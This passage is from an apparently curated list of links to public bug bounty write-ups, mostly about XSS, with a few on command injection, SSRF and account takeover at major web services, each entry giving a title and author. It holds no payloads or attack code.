Facebook](http://www.breaksec.com/?p=6129) by Nirgoldshlager - [Using a Braun Shaver to Bypass XSS Audit and WAF](https://blog.bugcrowd.com/guest-blog-using-a-braun-shaver-to-bypass-xss-audit-and-waf-by-frans-rosen-detectify) by Frans Rosen - [An XSS on Facebook via PNGs & Wonky Content Types](https://whitton.io/articles/xss-on-facebook-via-png-content-types/) by Jack Whitton - he is able to make stored XSS from a irrelevant domain to main facebook domain - [Stored XSS in *.ebay.com](https://whitton.io/archive/persistent-xss-on-myworld-ebay-com/) by Jack Whitton - [Complicated, Best Report of Google XSS](https://sites.google.com/site/bughunteruniversity/best-reports/account-recovery-xss) by Ramzes - [Tricky Html Injection and Possible XSS in sms-be-vip.twitter.com](https://hackerone.com/reports/150179) by secgeek - [Command Injection in Google Console](http://www.pranav-venkat.com/2016/03/command-injection-which-got-me-6000.html) by Venkat S - [Facebook's Moves - OAuth XSS](http://www.paulosyibelo.com/2015/12/facebooks-moves-oauth-xss.html) by PAULOS YIBELO - [Stored XSS in Google Docs (Bug Bounty)](http://hmgmakarovich.blogspot.hk/2015/11/stored-xss-in-google-docs-bug-bounty.html) by Harry M Gertos - [Stored XSS on developer.uber.com via admin account compromise in Uber](https://hackerone.com/reports/152067) by James Kettle (albinowax) - [Yahoo Mail stored XSS](https://klikki.fi/adv/yahoo.html) by Klikki Oy - [Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)](http://mksben.l0.cm/2016/07/xxn-caret.html) by Masato Kinugawa - [Youtube XSS](https://labs.detectify.com/2015/06/06/google-xss-turkey/) by fransrosen - [Best Google XSS again](https://sites.google.com/site/bughunteruniversity/best-reports/openredirectsthatmatter) - by Krzysztof Kotowicz - [IE & Edge URL parsin Problem](https://labs.detectify.com/2016/10/24/combining-host-header-injection-and-lax-host-parsing-serving-malicious-data/) - by detectify - [Google XSS subdomain Clickjacking](http://sasi2103.blogspot.sg/2016/09/combination-of-techniques-lead-to-dom.html) - [Microsoft XSS and Twitter XSS](http://blog.wesecureapp.com/xss-by-tossing-cookies/) - [Google Japan Book XSS](http://nootropic.me/blog/en/blog/2016/09/20/%E3%82%84%E3%81%AF%E3%82%8A%E3%83%8D%E3%83%83%E3%83%88%E3%82%B5%E3%83%BC%E3%83%95%E3%82%A3%E3%83%B3%E3%82%92%E3%81%97%E3%81%A6%E3%81%84%E3%81%9F%E3%82%89%E3%81%9F%E3%81%BE%E3%81%9F%E3%81%BEgoogle/) - [Flash XSS mega nz](https://labs.detectify.com/2013/02/14/how-i-got-the-bug-bounty-for-mega-co-nz-xss/) - by frans - [Flash XSS in multiple libraries](https://olivierbeg.com/finding-xss-vulnerabilities-in-flash-files/) - by Olivier Beg - [xss in google IE, Host Header Reflection](http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html) - [Years ago Google xss](http://conference.hitb.org/hitbsecconf2012ams/materials/D1T2%20-%20Itzhak%20Zuk%20Avraham%20and%20Nir%20Goldshlager%20-%20Killing%20a%20Bug%20Bounty%20Program%20-%20Twice.pdf) - [xss in google by IE weird behavior](http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html) - [xss in Yahoo Fantasy Sport](https://web.archive.org/web/20161228182923/http://dawgyg.com/2016/12/07/stored-xss-affecting-all-fantasy-sports-fantasysports-yahoo-com-2/) - [xss in Yahoo Mail Again, worth $10000](https://klikki.fi/adv/yahoo2.html) by Klikki Oy - [Sleeping XSS in Google](https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/) by securityguard - [Decoding a .htpasswd to earn a payload of money](https://blog.it-securityguard.com/bugbounty-decoding-a-%F0%9F%98%B1-00000-htpasswd-bounty/) by securityguard - [Google Account Takeover](http://www.orenh.com/2013/11/google-account-recovery-vulnerability.html#comment-form) - [AirBnb Bug Bounty: Turning Self-XSS into Good-XSS #2](http://www.geekboy.ninja/blog/airbnb-bug-bounty-turning-self-xss-into-good-xss-2/) by geekboy - [Uber Self XSS to Global XSS](https://httpsonly.blogspot.hk/2016/08/turning-self-xss-into-good-xss-v2.html) - [How I found a $5,000 Google Maps XSS (by fiddling with Protobuf)](https://medium.com/@marin_m/how-i-found-a-5-000-google-maps-xss-by-fiddling-with-protobuf-963ee0d9caff#.cktt61q9g) by Marin MoulinierFollow - [Airbnb – When Bypassing JSON Encoding, XSS Filter, WAF, CSP, and Auditor turns into Eight Vulnerabilities](https://buer.haus/2017/03/08/airbnb-when-bypassing-json-encoding-xss-filter-waf-csp-and-auditor-turns-into-eight-vulnerabilities/) by Brett - [XSSI, Client Side Brute Force](http://blog.intothesymmetry.com/2017/05/cross-origin-brute-forcing-of-saml-and.html) - [postMessage XSS Bypass](https://hackerone.com/reports/231053) - [XSS in Uber via Cookie](http://zhchbin.github.io/2017/08/30/Uber-XSS-via-Cookie/) by zhchbin - [Stealing contact form data on www.hackerone.com using Marketo Forms XSS with postMessage frame-jumping and jQuery-JSONP](https://hackerone.com/reports/207042) by frans - [XSS due to improper regex in third party js Uber 7k XSS](http://zhchbin.github.io/2016/09/10/A-Valuable-XSS/) - [XSS in TinyMCE 2.4.0](https://hackerone.com/reports/262230) by Jelmer de Hen - [Pass uncoded URL in IE11 to cause XSS](https://hackerone.com/reports/150179) - [Twitter XSS by stopping redirection and javascript scheme](http://blog.blackfan.ru/2017/09/devtwittercom-xss.html) by Sergey Bobrov - [Auth DOM Uber XSS](http://stamone-bug-bounty.blogspot.hk/2017/10/dom-xss-auth_14.html) - [Managed Apps and Music: two Google reflected XSSes](https://ysx.me.uk/managed-apps-and-music-a-tale-of-two-xsses-in-google-play/) - [App Maker and Colaboratory: two Google stored XSSes](https://ysx.me.uk/app-maker-and-colaboratory-a-stored-google-xss-double-bill/) - [XSS in www.yahoo.com](https://www.youtube.com/watch?v=d9UEVv3cJ0Q&feature=youtu.be) - [Stored XSS, and SSRF in Google using the Dataset Publishing Language](https://s1gnalcha0s.github.io/dspl/2018/03/07/Stored-XSS-and-SSRF-Google.html) - [Stored XSS on Snapchat](https://medium.com/@mrityunjoy/stored-xss-on-snapchat-5d704131d8fd)